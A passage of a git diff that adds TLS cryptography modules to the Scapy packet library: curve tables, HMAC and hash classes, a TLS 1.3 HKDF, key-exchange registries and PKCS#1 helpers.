+_tls_named_curves = {  1: "sect163k1",  2: "sect163r1",  3: "sect163r2",
+                       4: "sect193r1",  5: "sect193r2",  6: "sect233k1",
+                       7: "sect233r1",  8: "sect239k1",  9: "sect283k1",
+                      10: "sect283r1", 11: "sect409k1", 12: "sect409r1",
+                      13: "sect571k1", 14: "sect571r1", 15: "secp160k1",
+                      16: "secp160r1", 17: "secp160r2", 18: "secp192k1",
+                      19: "secp192r1", 20: "secp224k1", 21: "secp224r1",
+                      22: "secp256k1", 23: "secp256r1", 24: "secp384r1",
+                      25: "secp521r1", 26: "brainpoolP256r1",
+                      27: "brainpoolP384r1", 28: "brainpoolP512r1",
+                      29: "x25519",    30: "x448",
+                      0xff01: "arbitrary_explicit_prime_curves",
+                      0xff02: "arbitrary_explicit_char2_curves"}
+
+_tls_named_groups = {}
+_tls_named_groups.update(_tls_named_ffdh_groups)
+_tls_named_groups.update(_tls_named_curves)
+
+
+# Below lies ghost code since the shift from 'ecdsa' to 'cryptography' lib.
+# Part of the code has been kept, but commented out, in case anyone would like
+# to improve ECC support in 'cryptography' (namely for the compressed point
+# format and additional curves).
+# 
+# Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf
+# and www.ecc-brainpool.org/download/Domain-parameters.pdf
+#
+#
+#import math
+#
+#from scapy.utils import long_converter, binrepr
+#from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
+#
+#
+#def encode_point(point, point_format=0):
+#    """
+#    Return a string representation of the Point p, according to point_format.
+#    """
+#    pLen = len(binrepr(point.curve().p()))
+#    x = pkcs_i2osp(point.x(), math.ceil(pLen/8))
+#    y = pkcs_i2osp(point.y(), math.ceil(pLen/8))
+#    if point_format == 0:
+#        frmt = b'\x04'
+#    elif point_format == 1:
+#        frmt = chr(2 + y%2)
+#        y = ''
+#    else:
+#        raise Exception("No support for point_format %d" % point_format)
+#    return frmt + x + y
+#
+#
+#try:
+#    import ecdsa
+#    ecdsa_support = True
+#except ImportError:
+#    import logging
+#    log_loading = logging.getLogger("scapy.loading")
+#    log_loading.info("Can't import python ecdsa lib. No curves.")
+#
+#
+#if ecdsa_support:
+#
+#    from ecdsa.ellipticcurve import CurveFp, Point
+#    from ecdsa.curves import Curve
+#    from ecdsa.numbertheory import square_root_mod_prime
+#
+#
+#    def extract_coordinates(g, curve):
+#        """
+#        Return the coordinates x and y as integers,
+#        regardless of the point format of string g.
+#        Second expected parameter is a CurveFp.
+#        """
+#        p = curve.p()
+#        point_format = g[0]
+#        point = g[1:]
+#        if point_format == b'\x04':
+#            point_len = len(point)
+#            if point_len % 2 != 0:
+#                raise Exception("Point length is not even.")
+#            x_bytes = point[:point_len>>1]
+#            x = pkcs_os2ip(x_bytes) % p
+#            y_bytes = point[point_len>>1:]
+#            y = pkcs_os2ip(y_bytes) % p
+#        elif point_format in [b'\x02', b'\x03']:
+#            x_bytes = point
+#            x = pkcs_os2ip(x_bytes) % p
+#            # perform the y coordinate computation with self.tls_ec
+#            y_square = (x*x*x + curve.a()*x + curve.b()) % p
+#            y = square_root_mod_prime(y_square, p)
+#            y_parity = ord(point_format) % 2    # \x02 means even, \x03 means odd
+#            if y % 2 != y_parity:
+#                y = -y % p
+#        else:
+#            raise Exception("Point starts with %s. This encoding "
+#                            "is not recognized." % repr(point_format))
+#        if not curve.contains_point(x, y):
+#            raise Exception("The point we extracted does not belong on the curve!")
+#        return x, y
+#
+#    def import_curve(p, a, b, g, r, name="dummyName", oid=(1, 3, 132, 0, 0xff)):
+#        """
+#        Create an ecdsa.curves.Curve from the usual parameters.
+#        Arguments may be either octet strings or integers,
+#        except g which we expect to be an octet string.
+#        """
+#        if isinstance(p, str):
+#            p = pkcs_os2ip(p)
+#        if isinstance(a, str):
+#            a = pkcs_os2ip(a)
+#        if isinstance(b, str):
+#            b = pkcs_os2ip(b)
+#        if isinstance(r, str):
+#            r = pkcs_os2ip(r)
+#        curve = CurveFp(p, a, b)
+#        x, y = extract_coordinates(g, curve)
+#        generator = Point(curve, x, y, r)
+#        return Curve(name, curve, generator, oid)
+
+
+    ### Named curves
+
+    # We always provide _a as a positive integer.
+
+#    _p          = long_converter("""
+#                  ffffffff ffffffff ffffffff fffffffe ffffac73""")
+#    _a          = 0
+#    _b          = 7
+#    _Gx         = long_converter("""
+#                  3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb""")
+#    _Gy         = long_converter("""
+#                  938cf935 318fdced 6bc28286 531733c3 f03c4fee""")
+#    _r          = long_converter("""01
+#                  00000000 00000000 0001b8fa 16dfab9a ca16b6b3""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    SECP160k1   = Curve("SECP160k1", curve, generator,
+#                        (1, 3, 132, 0, 9), "secp160k1")
+
+#    _p          = long_converter("""
+#                  ffffffff ffffffff ffffffff ffffffff 7fffffff""")
+#    _a          = -3 % _p
+#    _b          = long_converter("""
+#                  1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45""")
+#    _Gx         = long_converter("""
+#                  4a96b568 8ef57328 46646989 68c38bb9 13cbfc82""")
+#    _Gy         = long_converter("""
+#                  23a62855 3168947d 59dcc912 04235137 7ac5fb32""")
+#    _r          = long_converter("""01
+#                  00000000 00000000 0001f4c8 f927aed3 ca752257""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    SECP160r1   = Curve("SECP160r1", curve, generator,
+#                        (1, 3, 132, 0, 8), "secp160r1")
+
+#    _p          = long_converter("""
+#                  ffffffff ffffffff ffffffff fffffffe ffffac73""")
+#    _a          = -3 % _p
+#    _b          = long_converter("""
+#                  b4e134d3 fb59eb8b ab572749 04664d5a f50388ba""")
+#    _Gx         = long_converter("""
+#                  52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d""")
+#    _Gy         = long_converter("""
+#                  feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e""")
+#    _r          = long_converter("""01
+#                  00000000 00000000 0000351e e786a818 f3a1a16b""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    SECP160r2   = Curve("SECP160r2", curve, generator,
+#                        (1, 3, 132, 0, 30), "secp160r2")
+
+#    _p          = long_converter("""
+#                  ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37""")
+#    _a          = 0
+#    _b          = 3
+#    _Gx         = long_converter("""
+#                  db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d""")
+#    _Gy         = long_converter("""
+#                  9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d""")
+#    _r          = long_converter("""
+#                  ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    SECP192k1   = Curve("SECP192k1", curve, generator,
+#                        (1, 3, 132, 0, 31), "secp192k1")
+
+#    _p          = long_converter("""
+#                  ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe
+#                  ffffe56d""")
+#    _a          = 0
+#    _b          = 5
+#    _Gx         = long_converter("""
+#                  a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e
+#                  b6b7a45c""")
+#    _Gy         = long_converter("""
+#                  7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb
+#                  556d61a5""")
+#    _r          = long_converter("""01
+#                  00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971
+#                  769fb1f7""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    SECP224k1   = Curve("SECP224k1", curve, generator,
+#                        (1, 3, 132, 0, 32), "secp224k1")
+
+#    _p          = long_converter("""
+#                  A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028
+#                  2013481D 1F6E5377""")
+#    _a          = long_converter("""
+#                  7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C
+#                  E94A4B44 F330B5D9""")
+#    _b          = long_converter("""
+#                  26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE
+#                  6BCCDC18 FF8C07B6""")
+#    _Gx         = long_converter("""
+#                  8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2
+#                  3A4453BD 9ACE3262""")
+#    _Gy         = long_converter("""
+#                  547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54
+#                  5C1D54C7 2F046997""")
+#    _r          = long_converter("""
+#                  A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7
+#                  901E0E82 974856A7""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    BRNP256r1   = Curve("BRNP256r1", curve, generator,
+#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), "brainpoolP256r1")
+
+#    _p          = long_converter("""
+#                  8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4
+#                  12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53""")
+#    _a          = long_converter("""
+#                  7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787
+#                  139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826""")
+#    _b          = long_converter("""
+#                  04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6
+#                  2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11""")
+#    _Gx         = long_converter("""
+#                  1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3
+#                  DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E""")
+#    _Gy         = long_converter("""
+#                  8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864
+#                  E19C054F F9912928 0E464621 77918111 42820341 263C5315""")
+#    _r          = long_converter("""
+#                  8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3
+#                  1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    BRNP384r1   = Curve("BRNP384r1", curve, generator,
+#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), "brainpoolP384r1")
+
+#    _p          = long_converter("""
+#                  AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E
+#                  D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6
+#                  2881FF2F 2D82C685 28AA6056 583A48F3""")
+#    _a          = long_converter("""
+#                  7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610
+#                  A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5
+#                  7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA""")
+#    _b          = long_converter("""
+#                  3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9
+#                  8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67
+#                  984050B7 5EBAE5DD 2809BD63 8016F723""")
+#    _Gx         = long_converter("""
+#                  81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1
+#                  B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F
+#                  7C6D5047 406A5E68 8B352209 BCB9F822""")
+#    _Gy         = long_converter("""
+#                  7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A
+#                  A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE
+#                  D1CA2B2F A8F05406 78CD1E0F 3AD80892""")
+#    _r          = long_converter("""
+#                  AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E
+#                  D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047
+#                  1DB1D381 085DDADD B5879682 9CA90069""")
+#    curve       = CurveFp(_p, _a, _b)
+#    generator   = Point(curve, _Gx, _Gy, _r)
+#    BRNP512r1   = Curve("BRNP512r1", curve, generator,
+#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), "brainpoolP512r1")
+
diff --git a/scapy/layers/tls/crypto/h_mac.py b/scapy/layers/tls/crypto/h_mac.py
new file mode 100644
index 0000000..c1941e7
--- /dev/null
+++ b/scapy/layers/tls/crypto/h_mac.py
@@ -0,0 +1,107 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##                     2015, 2016 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+HMAC classes.
+"""
+
+from __future__ import absolute_import
+import hmac
+
+from scapy.layers.tls.crypto.hash import _tls_hash_algs
+import scapy.modules.six as six
+from scapy.compat import *
+
+_SSLv3_PAD1_MD5  = b"\x36"*48
+_SSLv3_PAD1_SHA1 = b"\x36"*40
+_SSLv3_PAD2_MD5  = b"\x5c"*48
+_SSLv3_PAD2_SHA1 = b"\x5c"*40
+
+_tls_hmac_algs = {}
+
+class _GenericHMACMetaclass(type):
+    """
+    HMAC classes are automatically registered through this metaclass.
+    Furthermore, their name attribute is extracted from their class name.
+
+    Note that, when used with TLS, the HMAC key length equates the output of
+    the associated hash function (see RFC 5246, appendix C).
+    Also, we do not need to instantiate the associated hash function.
+    """
+    def __new__(cls, hmac_name, bases, dct):
+        hash_name = hmac_name[5:]               # remove leading "Hmac_"
+        if hmac_name != "_GenericHMAC":
+            dct["name"] = "HMAC-%s" % hash_name
+            dct["hash_alg"] = _tls_hash_algs[hash_name]
+            dct["hmac_len"] = _tls_hash_algs[hash_name].hash_len
+            dct["key_len"] = dct["hmac_len"]
+        the_class = super(_GenericHMACMetaclass, cls).__new__(cls, hmac_name,
+                                                              bases, dct)
+        if hmac_name != "_GenericHMAC":
+            _tls_hmac_algs[dct["name"]] = the_class
+        return the_class
+
+
+class HMACError(Exception):
+    """
+    Raised when HMAC verification fails.
+    """
+    pass
+
+class _GenericHMAC(six.with_metaclass(_GenericHMACMetaclass, object)):
+    def __init__(self, key=None):
+        self.key = key
+
+    def digest(self, tbd):
+        if self.key is None:
+            raise HMACError
+        return hmac.new(raw(self.key), raw(tbd), self.hash_alg.hash_cls).digest()
+
+    def digest_sslv3(self, tbd):
+        if self.key is None:
+            raise HMACError
+
+        h = self.hash_alg()
+        if h.name == "SHA":
+            pad1 = _SSLv3_PAD1_SHA1
+            pad2 = _SSLv3_PAD2_SHA1
+        elif h.name == "MD5":
+            pad1 = _SSLv3_PAD1_MD5
+            pad2 = _SSLv3_PAD2_MD5
+        else:
+            raise HMACError("Provided hash does not work with SSLv3.")
+
+        return h.digest(self.key + pad2 +
+                        h.digest(self.key + pad1 + tbd))
+
+
+class Hmac_NULL(_GenericHMAC):
+    hmac_len = 0
+    key_len = 0
+
+    def digest(self, tbd):
+        return b""
+
+    def digest_sslv3(self, tbd):
+        return b""
+
+class Hmac_MD5(_GenericHMAC):
+    pass
+
+class Hmac_SHA(_GenericHMAC):
+    pass
+
+class Hmac_SHA224(_GenericHMAC):
+    pass
+
+class Hmac_SHA256(_GenericHMAC):
+    pass
+
+class Hmac_SHA384(_GenericHMAC):
+    pass
+
+class Hmac_SHA512(_GenericHMAC):
+    pass
+
diff --git a/scapy/layers/tls/crypto/hash.py b/scapy/layers/tls/crypto/hash.py
new file mode 100644
index 0000000..970a277
--- /dev/null
+++ b/scapy/layers/tls/crypto/hash.py
@@ -0,0 +1,66 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##                     2015, 2016 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Hash classes.
+"""
+
+from __future__ import absolute_import
+from hashlib import md5, sha1, sha224, sha256, sha384, sha512
+import scapy.modules.six as six
+
+
+_tls_hash_algs = {}
+
+class _GenericHashMetaclass(type):
+    """
+    Hash classes are automatically registered through this metaclass.
+    Furthermore, their name attribute is extracted from their class name.
+    """
+    def __new__(cls, hash_name, bases, dct):
+        if hash_name != "_GenericHash":
+            dct["name"] = hash_name[5:]     # remove leading "Hash_"
+        the_class = super(_GenericHashMetaclass, cls).__new__(cls, hash_name,
+                                                              bases, dct)
+        if hash_name != "_GenericHash":
+            _tls_hash_algs[hash_name[5:]] = the_class
+        return the_class
+
+
+class _GenericHash(six.with_metaclass(_GenericHashMetaclass, object)):
+    def digest(self, tbd):
+        return self.hash_cls(tbd).digest()
+
+
+class Hash_NULL(_GenericHash):
+    hash_len = 0
+
+    def digest(self, tbd):
+        return b""
+
+class Hash_MD5(_GenericHash):
+    hash_cls = md5
+    hash_len = 16
+
+class Hash_SHA(_GenericHash):
+    hash_cls = sha1
+    hash_len = 20
+
+class Hash_SHA224(_GenericHash):
+    hash_cls = sha224
+    hash_len = 28
+
+class Hash_SHA256(_GenericHash):
+    hash_cls = sha256
+    hash_len = 32
+
+class Hash_SHA384(_GenericHash):
+    hash_cls = sha384
+    hash_len = 48
+
+class Hash_SHA512(_GenericHash):
+    hash_cls = sha512
+    hash_len = 64
+
diff --git a/scapy/layers/tls/crypto/hkdf.py b/scapy/layers/tls/crypto/hkdf.py
new file mode 100644
index 0000000..7c8d958
--- /dev/null
+++ b/scapy/layers/tls/crypto/hkdf.py
@@ -0,0 +1,64 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Stateless HKDF for TLS 1.3.
+"""
+
+import struct
+
+from scapy.config import conf
+from scapy.layers.tls.crypto.pkcs1 import _get_hash
+
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand
+    from cryptography.hazmat.primitives.hashes import Hash
+    from cryptography.hazmat.primitives.hmac import HMAC
+
+
+class TLS13_HKDF(object):
+    def __init__(self, hash_name="sha256"):
+        self.hash = _get_hash(hash_name)
+
+    def extract(self, salt, ikm):
+        h = self.hash
+        hkdf = HKDF(h, h.digest_size, salt, None, default_backend())
+        if ikm is None:
+            ikm = b"\x00" * h.digest_size
+        return hkdf._extract(ikm)
+
+    def expand(self, prk, info, L):
+        h = self.hash
+        hkdf = HKDFExpand(h, L, info, default_backend())
+        return hkdf.derive(prk)
+
+    def expand_label(self, secret, label, hash_value, length):
+        hkdf_label  = struct.pack("!H", length)
+        hkdf_label += struct.pack("B", 9 + len(label))
+        hkdf_label += b"TLS 1.3, "
+        hkdf_label += label
+        hkdf_label += struct.pack("B", len(hash_value))
+        hkdf_label += hash_value
+        return self.expand(secret, hkdf_label, length)
+
+    def derive_secret(self, secret, label, messages):
+        h = Hash(self.hash, backend=default_backend())
+        h.update(messages)
+        hash_messages = h.finalize()
+        hash_len = self.hash.digest_size
+        return self.expand_label(secret, label, hash_messages, hash_len)
+
+    def compute_verify_data(self, basekey, handshake_context):
+        hash_len = self.hash.digest_size
+        finished_key = self.expand_label(basekey, b"finished", b"", hash_len)
+
+        h = Hash(self.hash, backend=default_backend())
+        h.update(handshake_context)
+        hash_value = h.finalize()
+
+        hm = HMAC(finished_key, self.hash, default_backend())
+        hm.update(hash_value)
+        return hm.finalize()
+
diff --git a/scapy/layers/tls/crypto/kx_algs.py b/scapy/layers/tls/crypto/kx_algs.py
new file mode 100644
index 0000000..1faad7e
--- /dev/null
+++ b/scapy/layers/tls/crypto/kx_algs.py
@@ -0,0 +1,191 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Key Exchange algorithms as listed in appendix C of RFC 4346.
+
+XXX No support yet for PSK (also, no static DH, DSS, SRP or KRB).
+"""
+
+from __future__ import absolute_import
+from scapy.layers.tls.keyexchange import (ServerDHParams,
+                                          ServerRSAParams,
+                                          ClientDiffieHellmanPublic,
+                                          ClientECDiffieHellmanPublic,
+                                          _tls_server_ecdh_cls_guess,
+                                          EncryptedPreMasterSecret)
+import scapy.modules.six as six
+
+
+_tls_kx_algs = {}
+
+class _GenericKXMetaclass(type):
+    """
+    We could try to set server_kx_msg and client_kx_msg while parsing
+    the class name... :)
+    """
+    def __new__(cls, kx_name, bases, dct):
+        if kx_name != "_GenericKX":
+            dct["name"] = kx_name[3:]       # remove leading "KX_"
+        the_class = super(_GenericKXMetaclass, cls).__new__(cls, kx_name,
+                                                            bases, dct)
+        if kx_name != "_GenericKX":
+            the_class.export = kx_name.endswith("_EXPORT")
+            the_class.anonymous = "_anon" in kx_name
+            the_class.no_ske = not ("DHE" in kx_name or "_anon" in kx_name)
+            the_class.no_ske &= not the_class.export
+            _tls_kx_algs[kx_name[3:]] = the_class
+        return the_class
+
+
+class _GenericKX(six.with_metaclass(_GenericKXMetaclass)):
+    pass
+
+
+class KX_NULL(_GenericKX):
+    descr = "No key exchange"
+    server_kx_msg_cls = lambda _,m: None
+    client_kx_msg_cls = None
+
+class KX_SSLv2(_GenericKX):
+    descr = "SSLv2 dummy key exchange class"
+    server_kx_msg_cls = lambda _,m: None
+    client_kx_msg_cls = None
+
+class KX_TLS13(_GenericKX):
+    descr = "TLS 1.3 dummy key exchange class"
+    server_kx_msg_cls = lambda _,m: None
+    client_kx_msg_cls = None
+
+
+### Standard RSA-authenticated key exchange
+
+class KX_RSA(_GenericKX):
+    descr = "RSA encryption"
+    server_kx_msg_cls = lambda _,m: None
+    client_kx_msg_cls = EncryptedPreMasterSecret
+
+#class KX_DH_RSA(_GenericKX):
+#    descr = "DH with RSA-based certificates"
+#    server_kx_msg_cls = lambda _,m: None
+#    client_kx_msg_cls = None
+
+class KX_DHE_RSA(_GenericKX):
+    descr = "Ephemeral DH with RSA signature"
+    server_kx_msg_cls = lambda _,m: ServerDHParams
+    client_kx_msg_cls = ClientDiffieHellmanPublic
+
+# class KX_ECDH_RSA(_GenericKX):
+#     descr = "ECDH RSA key exchange"
+#     server_kx_msg_cls = lambda _,m: None
+#     client_kx_msg_cls = None
+
+class KX_ECDHE_RSA(_GenericKX):
+    descr = "Ephemeral ECDH with RSA signature"
+    server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m)
+    client_kx_msg_cls = ClientECDiffieHellmanPublic
+
+class KX_RSA_EXPORT(KX_RSA):
+    descr = "RSA encryption, export version"
+    server_kx_msg_cls = lambda _,m: ServerRSAParams
+
+#class KX_DH_RSA_EXPORT(KX_DH_RSA):
+#    descr = "DH with RSA-based certificates - Export version"
+
+class KX_DHE_RSA_EXPORT(KX_DHE_RSA):
+    descr = "Ephemeral DH with RSA signature, export version"
+
+
+### Standard ECDSA-authenticated key exchange
+
+# class KX_ECDH_ECDSA(_GenericKX):
+#     descr = "ECDH ECDSA key exchange"
+#     server_kx_msg_cls = lambda _,m: None
+#     client_kx_msg_cls = None
+
+class KX_ECDHE_ECDSA(_GenericKX):
+   descr = "Ephemeral ECDH with ECDSA signature"
+   server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m)
+   client_kx_msg_cls = ClientECDiffieHellmanPublic
+
+
+### Classes below are offered without any guarantee.
+### They may offer some parsing capabilities,
+### but surely won't be able to handle a proper TLS negotiation.
+### Uncomment them at your own risk.
+
+### Standard DSS-authenticated key exchange
+
+# class KX_DH_DSS(_GenericKX):
+#     descr = "DH with DSS-based certificates"
+#     server_kx_msg_cls = lambda _,m: ServerDHParams
+#     client_kx_msg_cls = ClientDiffieHellmanPublic
+
+#class KX_DHE_DSS(_GenericKX):
+#    descr = "Ephemeral DH with DSS signature"
+#    server_kx_msg_cls = lambda _,m: ServerDHParams
+#    client_kx_msg_cls = ClientDiffieHellmanPublic
+
+# class KX_DH_DSS_EXPORT(KX_DH_DSS):
+#     descr = "DH with DSS-based certificates - Export version"
+
+#class KX_DHE_DSS_EXPORT(KX_DHE_DSS):
+#    descr = "Ephemeral DH with DSS signature, export version"
+
+
+### PSK-based key exchange
+
+# class KX_PSK(_GenericKX): # RFC 4279
+#     descr = "PSK key exchange"
+#     server_kx_msg_cls = lambda _,m: ServerPSKParams
+#     client_kx_msg_cls = None
+
+# class KX_RSA_PSK(_GenericKX): # RFC 4279
+#     descr = "RSA PSK key exchange"
+#     server_kx_msg_cls = lambda _,m: ServerPSKParams
+#     client_kx_msg_cls = None
+
+# class KX_DHE_PSK(_GenericKX): # RFC 4279
+#     descr = "Ephemeral DH with PSK key exchange"
+#     server_kx_msg_cls = lambda _,m: ServerPSKParams
+#     client_kx_msg_cls = ClientDiffieHellmanPublic
+
+# class KX_ECDHE_PSK(_GenericKX): # RFC 5489
+#     descr = "Ephemeral ECDH PSK key exchange"
+#     server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m)
+#     client_kx_msg_cls = ClientDiffieHellmanPublic
+
+
+### SRP-based key exchange
+
+#
+
+
+### Kerberos-based key exchange
+
+# class KX_KRB5(_GenericKX):
+#     descr = "Kerberos 5 key exchange"
+#     server_kx_msg_cls = lambda _,m: None  # No SKE with kerberos
+#     client_kx_msg_cls = None
+
+# class KX_KRB5_EXPORT(KX_KRB5):
+#     descr = "Kerberos 5 key exchange - Export version"
+
+
+### Unauthenticated key exchange (opportunistic encryption)
+
+class KX_DH_anon(_GenericKX):
+    descr = "Anonymous DH, no signatures"
+    server_kx_msg_cls = lambda _,m: ServerDHParams
+    client_kx_msg_cls = ClientDiffieHellmanPublic
+
+class KX_ECDH_anon(_GenericKX):
+    descr = "ECDH anonymous key exchange"
+    server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m)
+    client_kx_msg_cls = ClientECDiffieHellmanPublic
+
+class KX_DH_anon_EXPORT(KX_DH_anon):
+    descr = "Anonymous DH, no signatures - Export version"
+
diff --git a/scapy/layers/tls/crypto/pkcs1.py b/scapy/layers/tls/crypto/pkcs1.py
new file mode 100644
index 0000000..da3506e
--- /dev/null
+++ b/scapy/layers/tls/crypto/pkcs1.py
@@ -0,0 +1,225 @@
+## This file is part of Scapy
+## Copyright (C) 2008 Arnaud Ebalard <arno@natisbad.org>
+##   2015, 2016, 2017 Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+PKCS #1 methods as defined in RFC 3447.
+
+We cannot rely solely on the cryptography library, because the openssl package
+used by the cryptography library may not implement the md5-sha1 hash, as with
+Ubuntu or OSX. This is why we reluctantly keep some legacy crypto here.
+"""
+
+from __future__ import absolute_import
+from scapy.compat import *
+
+from scapy.config import conf, crypto_validator
+if conf.crypto_valid:
+    from cryptography import utils
+    from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives import hashes
+    from cryptography.hazmat.primitives.asymmetric import padding
+    from cryptography.hazmat.primitives.hashes import HashAlgorithm
+
+from scapy.utils import randstring, zerofree_randstring, strxor, strand
+from scapy.error import warning
+
+
+#####################################################################
+# Some helpers
+#####################################################################
+
+def pkcs_os2ip(s):
+    """
+    OS2IP conversion function from RFC 3447.
+
+    Input : s        octet string to be converted
+    Output: n        corresponding nonnegative integer
+    """
+    return int(bytes_hex(s), 16)
+
+def pkcs_i2osp(n, sLen):
+    """
+    I2OSP conversion function from RFC 3447.
+    The length parameter allows the function to perform the padding needed.
+    Note that the user is responsible for providing a sufficient xLen.
+
+    Input : n        nonnegative integer to be converted
+            sLen     intended length of the resulting octet string
+    Output: s        corresponding octet string
+    """
+    #if n >= 256**sLen:
+    #    raise Exception("Integer too large for provided sLen %d" % sLen)
+    fmt = "%%0%dx" % (2*sLen)
+    return hex_bytes(fmt % n)
+
+def pkcs_ilen(n):
+    """
+    This is a log base 256 which determines the minimum octet string
+    length for unequivocal representation of integer n by pkcs_i2osp.
+    """
+    i = 0
+    while n > 0:
+        n >>= 8
+        i += 1
+    return i
+
+@crypto_validator
+def _legacy_pkcs1_v1_5_encode_md5_sha1(M, emLen):
+    """
+    Legacy method for PKCS1 v1.5 encoding with MD5-SHA1 hash.
+    """
+    M = raw(M)
+    md5_hash = hashes.Hash(_get_hash("md5"), backend=default_backend())
+    md5_hash.update(M)
+    sha1_hash = hashes.Hash(_get_hash("sha1"), backend=default_backend())
+    sha1_hash.update(M)
+    H = md5_hash.finalize() + sha1_hash.finalize()
+    if emLen < 36 + 11:
+        warning("pkcs_emsa_pkcs1_v1_5_encode: "
+                "intended encoded message length too short")
+        return None
+    PS = b'\xff'*(emLen - 36 - 3)
+    return b'\x00' + b'\x01' + PS + b'\x00' + H
+
+
+#####################################################################
+# Hash and padding helpers
+#####################################################################
+
+_get_hash = None
+if conf.crypto_valid:
+
+    # first, we add the "md5-sha1" hash from openssl to python-cryptography
+    @utils.register_interface(HashAlgorithm)
+    class MD5_SHA1(object):
+        name = "md5-sha1"
+        digest_size = 36
+        block_size = 64
+
+    _hashes = {
+            "md5"      : hashes.MD5,
+            "sha1"     : hashes.SHA1,
+            "sha224"   : hashes.SHA224,
+            "sha256"   : hashes.SHA256,
+            "sha384"   : hashes.SHA384,
+            "sha512"   : hashes.SHA512,
+            "md5-sha1" : MD5_SHA1
+            }
+
+    def _get_hash(hashStr):
+        try:
+            return _hashes[hashStr]()
+        except KeyError:
+            raise KeyError("Unknown hash function %s" % hashStr)
+
+
+    def _get_padding(padStr, mgf=padding.MGF1, h=hashes.SHA256, label=None):
+        if padStr == "pkcs":
+            return padding.PKCS1v15()
+        elif padStr == "pss":
+            # Can't find where this is written, but we have to use the digest
+            # size instead of the automatic padding.PSS.MAX_LENGTH.
+            return padding.PSS(mgf=mgf(h), salt_length=h.digest_size)
